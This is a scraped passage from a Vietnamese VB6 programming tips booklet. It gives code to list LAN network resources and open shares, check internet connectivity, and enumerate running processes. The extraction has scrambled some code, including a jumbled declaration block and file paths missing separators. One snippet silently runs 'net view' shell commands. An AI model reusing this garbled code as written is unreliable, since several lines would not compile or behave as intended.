Long On Error Resume Next Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 57
  • 58. Chiêu thức lập trình VB 6.0 If Err.Number > 0 Then Exit Function On Error GoTo ErrorHandler NR.lpRemoteName = 0 cbBuff = 1024 * 31 cCount = &HFFFFFFFF res = WNetOpenEnum(RESOURCE_GLOBALNET, _ RESOURCETYPE_ANY, 0, NR, hEnum) If res = 0 Then lpBuff = GlobalAlloc(GPTR, cbBuff) res = WNetEnumResource(hEnum, cCount, lpBuff, cbBuff) If res = 0 Then P = lpBuff For i = 1 To cCount CopyMemory NR, ByVal P, LenB(NR) 'list.AddItem PointerToString(NR.lpRemoteName) DoNetEnum2 NR P = P + LenB(NR) Next i End If ErrorHandler: On Error Resume Next If lpBuff <> 0 Then GlobalFree (lpBuff) WNetCloseEnum (hEnum) End If End Function Private Function PointerToString(P As Long) As String Dim s As String s = String(65535, Chr$(0)) CopyPointer2String s, P PointerToString = Left(s, InStr(s, Chr$(0)) - 1) End Function Private Sub DoNetEnum2(NR As NETRESOURCE) Dim hEnum As Long, lpBuff As Long Dim cbBuff As Long, cCount As Long Dim P As Long, res As Long, i As Long cbBuff = 1024 * 31 cCount = &HFFFFFFFF res = WNetOpenEnum(RESOURCE_GLOBALNET, _ RESOURCETYPE_ANY, 0, NR, hEnum) If res = 0 Then lpBuff = GlobalAlloc(GPTR, cbBuff) res = WNetEnumResource(hEnum, cCount, lpBuff, cbBuff) If res = 0 Then Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 58
  • 59. Chiêu thức lập trình VB 6.0 P = lpBuff For i = 1 To cCount CopyMemory NR, ByVal P, LenB(NR) Dim st As String Select Case NR.dwDisplayType Case &H1 st = "Domain" Case &H2 st = "Server" Case &H3 st = "Share" Case &H4 st = "File" Case &H5 st = "Groups" Case &H6 st = "Protocol Categories" End Select If LCase(st) <> "domain" Then PCLIST = PCLIST & "||" & Replace(PointerToString(NR.lpRemoteName), "", "") '& " is a : " & st End If DoEvents If Not NR.dwDisplayType = 2 Then DoNetEnum2 NR P = P + LenB(NR) Next i End If If lpBuff <> 0 Then GlobalFree (lpBuff) WNetCloseEnum (hEnum) End If PCLIST = stripDelimiter(PCLIST) End Sub Property Get GetPCList() As String GetPCList = PCLIST End Property Private Function stripDelimiter(ByVal s As String) As String If Left(s, 2) = "||" Then s = Right(s, Len(s) - 2) stripDelimiter = s End Function Private Sub Class_Initialize() DoNetEnum End Sub ‘Trong Form : Private Sub Form_Load() Dim LANScan As New LAN Dim s() As String Dim i s = Split(LANScan.GetPCList, "||") For i = LBound(s) To UBound(s) LstLAN.AddItem s(i) Next End Sub Đôc chiêu 42 : Liệt kê tất cả các tài nguyên mạng đang trong trạng thái “Mở” home Giới thiệu : Liệt kê tất cả các tài nguyên mạng đang trong trạng thái “Mở” trong mạng LAN hoặc WAN Xuất xứ : Tại một trang web về bảo mật Binh khí sử dụng : - 1 ListBox (Trong Form bạn cần hiển thị) với tên : List Đoạn mã : Private Sub Form_Load() Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 59
  • 60. Chiêu thức lập trình VB 6.0 On Error Resume Next Dim ishell Set ishell = CreateObject("wscript.shell") ishell.run "%comspec% /C net view > C:plog.tmp", 0, True Set fso = CreateObject("scripting.filesystemobject") Set rd = fso.opentextfile("C:plog.tmp") nbuff = 0 Do While rd.AtEndOfStream <> True nbuff = rd.readline If Left(nbuff, 2) = "" Then ishell.run "%comspec% /C net view " & Trim(Left(nbuff, 21)) & " > C:clog.tmp", 0, True Set rdd = fso.opentextfile("C:clog.tmp") buff = "" Do While rdd.AtEndOfStream <> True buff = rdd.readline combuff = Right(Trim(buff), 4) If Right(combuff, 4) = "Disk" Then buffadd = Left(buff, 13) If Len(Trim(buffadd)) > 0 Then sharename = a & Trim(Left(nbuff, 21)) & "" & Trim(buffadd) & a LstLAN.AddItem sharename End If End If Loop End If Loop End Sub Đôc chiêu 43 : Kiểm tra máy tính của bạn có kết nối Internet hay không home Xuất xứ : www.allapi.com Binh khí sử dụng : - Không Đoạn mã : Private Declare Function InternetGetConnectedStateEx Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal lpszConnectionName As String, ByVal dwNameLen As Integer, ByVal dwReserved As Long) As Long Dim sConnType As String * 255 Private Sub Form_Load() Dim Ret As Long Ret = InternetGetConnectedStateEx(Ret, sConnType, 254, 0) If Ret = 1 Then MsgBox "Ban da ket noi Internet " & sConnType, vbInformation Else MsgBox "Ban chua ket noi internet", vbInformation End If End Sub Đôc chiêu 44 : Liệt kê tất cả các Process đang hoạt động trong máy tính home Xuất xứ : www.pscode.com Binh khí sử dụng : - 1 ListBox mang tên List - 1 Module Đoạn mã : ‘Trong Module : '============================================ 'Author: Joe Wong (Come from China) 'ICQ NO:7601450 'PLS VOTE FOR ME AND GIVE ME COMMENTS,thanks! '========================================== Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 60
  • 61. Chiêu thức lập trình VB 6.0 Public Declare Function CreateToolhelpSnapshot Lib "kernel32" _ Alias "CreateToolhelp32Snapshot" ( _ ByVal lFlags As Long, _ ByVal lProcessID As Long) As Long Public Declare Function ProcessFirst Lib "kernel32" _ Alias "Process32First" ( _ ByVal hSnapShot As Long, _ uProcess As PROCESSENTRY32) As Long Public Declare Function ProcessNext Lib "kernel32" _ Alias "Process32Next" ( _ ByVal hSnapShot As Long, _ uProcess As PROCESSENTRY32) As Long Public Declare Function TerminateProcess Lib "kernel32" ( _ ByVal hProcess As Long, _ ByVal uExitCode As Long) As Long Public Declare Function OpenProcess Lib "kernel32" ( _ ByVal dwDesiredAccess As Long, _ ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Const TH32CS_SNAPPROCESS = &H2 Public Const TH32CS_SNAPheaplist = &H1 Public Const TH32CS_SNAPthread = &H4 Public Const TH32CS_SNAPmodule = &H8 Public Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + _ TH32CS_SNAPmodule Public Const MAX_PATH As Integer = 260 'define PROCESSENTRY32 structure Public Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type ‘Trong Form : Private Sub TienHanh() Dim Dim Dim Dim Dim i theloop proc As snap As exename As Long PROCESSENTRY32 Long As String l.Clear snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0) 'get snapshot handle proc.dwSize = Len(proc) theloop = ProcessFirst(snap, proc) 'first process and return value i = 0 While theloop <> 0 'next process exename = proc.szExeFile Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 61
  • 62. Chiêu thức lập trình VB 6.0 list.AddItem exename 'add process name to listview i = i + 1 theloop = ProcessNext(snap, proc) Wend CloseHandle snap 'close snapshot handle End Sub Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 62